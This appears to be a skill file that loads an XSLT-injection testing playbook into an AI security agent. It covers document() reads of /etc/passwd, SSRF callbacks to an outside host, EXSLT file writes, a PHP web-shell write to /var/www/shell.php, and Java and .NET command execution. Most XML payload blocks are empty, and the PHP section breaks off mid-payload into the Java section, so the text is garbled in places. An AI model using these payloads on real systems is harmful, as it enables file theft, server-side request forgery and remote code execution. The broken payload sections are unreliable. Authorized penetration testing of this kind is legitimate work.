--- name: xslt-injection description: >- XSLT injection testing: processor fingerprinting, XXE and document() SSRF, EXSLT write primitives, PHP/Java/.NET extension RCE surfaces. Use when user-controlled XSLT/stylesheet input or transform endpoints are in scope. --- # SKILL: XSLT Injection — Testing Playbook > **AI LOAD INSTRUCTION**: XSLT injection occurs when **attacker-influenced XSLT** is compiled/executed server-side. Map the **processor family** first (Java/.NET/PHP/libxslt). Then chain **document()**, **external entities**, **EXSLT**, or **embedded script/extension functions** per platform. **Authorized testing only**; many payloads are destructive. Routing: if the input is general XML parsing that may not use XSLT, cross-load `xxe`; if focused on `document(http:…)` outbound calls, cross-load `ssrf`. --- ## QUICK START 1. **Find sinks**: parameters named `xslt`, `stylesheet`, `transform`, `template`, SOAP stylesheets, report generators, XML→HTML converters. 2. **Probe reflection**: inject unique namespace or `xsl:value-of select="'marker'"` — if output changes, execution likely. 3. **Fingerprint** processor (§1). 4. **Escalate** by family: **document()** / **XXE** (§2–3), **EXSLT write** (§4), **PHP** (§5), **Java** (§6), **.NET** (§7). **Quick probe** (harmless marker): ```xml ``` --- ## 1. VENDOR DETECTION Use standard **system-property** reads inside expressions: ```xml vendor= version= vendor-url= ``` **Typical fingerprints** (examples, not exhaustive): | Signal | Possible engine | |--------|------------------| | `Apache Software Foundation` / Xalan markers | Xalan (Java) | | `Saxonica` / Saxon URI hints | Saxon | | `libxslt` / GNOME stack | libxslt (C, often via PHP, nginx modules, etc.) | | Microsoft URLs / MSXML strings | MSXML / .NET XSLT stack | Use results to select §5–§7 paths. --- ## 2. EXTERNAL ENTITY (XXE VIA XSLT) XSLT 1.0 allows **DTD-based entities** in the stylesheet or source when the parser permits DTDs: ```xml ]> ``` **Note**: Hardened parsers disable external DTDs — failure here does not disprove other XSLT vectors (see §3). --- ## 3. FILE READ VIA `document()` `document()` loads another XML document into a node-set; local files often parse as XML (noisy) but **errors and partial reads** may still leak. **Unix example**: ```xml ``` **Windows example**: ```xml ``` **SSRF / out-of-band**: ```xml ``` Chain with **error-based** or **timing** observations if inline data does not return to the client. --- ## 4. FILE WRITE VIA EXSLT (`exslt:document`) When **EXSLT common** extension is enabled: ```xml PROOF_CONTENT ``` **Impact**: arbitrary file write where path permissions allow — often **RCE** via webroot, cron paths, or inclusion points. --- ## 5. RCE VIA PHP (`php:function`) Requires PHP XSLT with **`registerPHPFunctions()`**-style exposure (application misconfiguration). Namespace: ```xml ``` **Directory listing**: ```xml ``` **Dangerous patterns** (historical abuses — verify only in lab): - `php:function('assert', string($payload))` — environment-dependent, often deprecated/removed; chained with `include`/`require` in old apps. - `php:function('file_put_contents','/var/www/shell.php',' ``` **Saxon-style static Java integration** (highly configuration-dependent): ```text Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C ping 192.0.2.1') ``` Replace `192.0.2.1` with your lab listener / documentation IP (RFC 5737 TEST-NET). **Operational guidance**: if extensions are disabled (common secure default), pivot to **document()**, SSRF, or **deserialization** elsewhere — not every XSLT endpoint runs with extensions on. --- ## 7. RCE VIA .NET (`msxsl:script`) When Microsoft XSLT **script blocks** are allowed: ```xml ``` **Default secure configs** often disable scripts — treat this as **when enabled** behavior. --- ## DECISION TREE ```text User influences XSLT or XML transform? | NO --> stop (out of scope) | YES | +---------------+---------------+ | | output reflects no reflection injected logic? try blind channels | | v v system-property() errors, OOB, timing fingerprint vendor | | | +-----------+-----------+ | | | | | libxslt Java .NET document() | | | | document() Saxon/Xalan msxsl:script? SSRF/file EXSLT write extensions? | | | | C# Process EXSLT? v v v v file R/W rt/exec cmd.exe /c map evidence ``` --- ## Payloads All The Things (PAT) Note The **PayloadsAllTheThings** project documents many injection classes; for **XSLT**, maintainer notes indicate **no dedicated maintained tool** section comparable to SQLi/XSS toolchains — exploitation is **processor- and configuration-specific**, driven by proxy/manual payloads and custom scripts. Plan time for **local lab reproduction** with the same engine/version as the target when possible. --- ## Tooling (practical) | Category | Examples | |----------|----------| | Proxy / manual | Burp Suite, OWASP ZAP — replay stylesheet payloads, observe responses and errors | | XML/XSLT lab | Match **exact** processor (PHP libxslt, Java Saxon version, .NET framework) in a VM | | Out-of-band | Collaborator / private callback server for `document('http://…')` | No single universal scanner replaces **version-specific** behavior validation. --- ## TESTING CHECKLIST - [ ] Identify XSLT processing sinks: parameters named `xslt`, `stylesheet`, `transform`, `template`, SOAP services, report generators, XML-to-HTML converters - [ ] Test probe reflection: inject `` and check if output changes - [ ] Fingerprint the XSLT processor via `system-property('xsl:vendor')`, `system-property('xsl:version')`, `system-property('xsl:vendor-url')` - [ ] Test XXE via XSLT: inject DTD entity in stylesheet pointing to `file:///etc/passwd` or a callback URL - [ ] Test `document()` function for file read: `document('/etc/passwd')`, `document('file:///c:/windows/win.ini')` - [ ] Test `document()` for SSRF: `document('http://callback-host/ssrf')` with out-of-band listener - [ ] Test EXSLT `exslt:document` write primitive: attempt to write a marker file to a known path - [ ] Test PHP `php:function` RCE surface: `php:function('readfile','index.php')`, `php:function('scandir','.')` - [ ] Test Java extension functions (Xalan/Saxon): `Runtime:exec(Runtime:getRuntime(), 'id')` via namespace binding - [ ] Test .NET `msxsl:script` RCE: inline C# with `System.Diagnostics.Process.Start` - [ ] Test `xsl:import`/`xsl:include` with external stylesheet URLs for SSRF or code injection ## TARGET TOOL ADAPTATION Use visible `http-framework-test` for controlled transform requests, `nuclei` only with a narrowly selected relevant template, and `execute-python-script` for offline processor fingerprinting or payload generation. Do not assume repeater or browser-agent MCP calls exist. ## RELATED ROUTING - [XXE](../xxe-xml-external-entity/SKILL.md) — DTD/entity hardening and generic XML parsers. - [SSRF](../ssrf-server-side-request-forgery/SKILL.md) — when `document(http:…)` or entity URLs cause server fetches.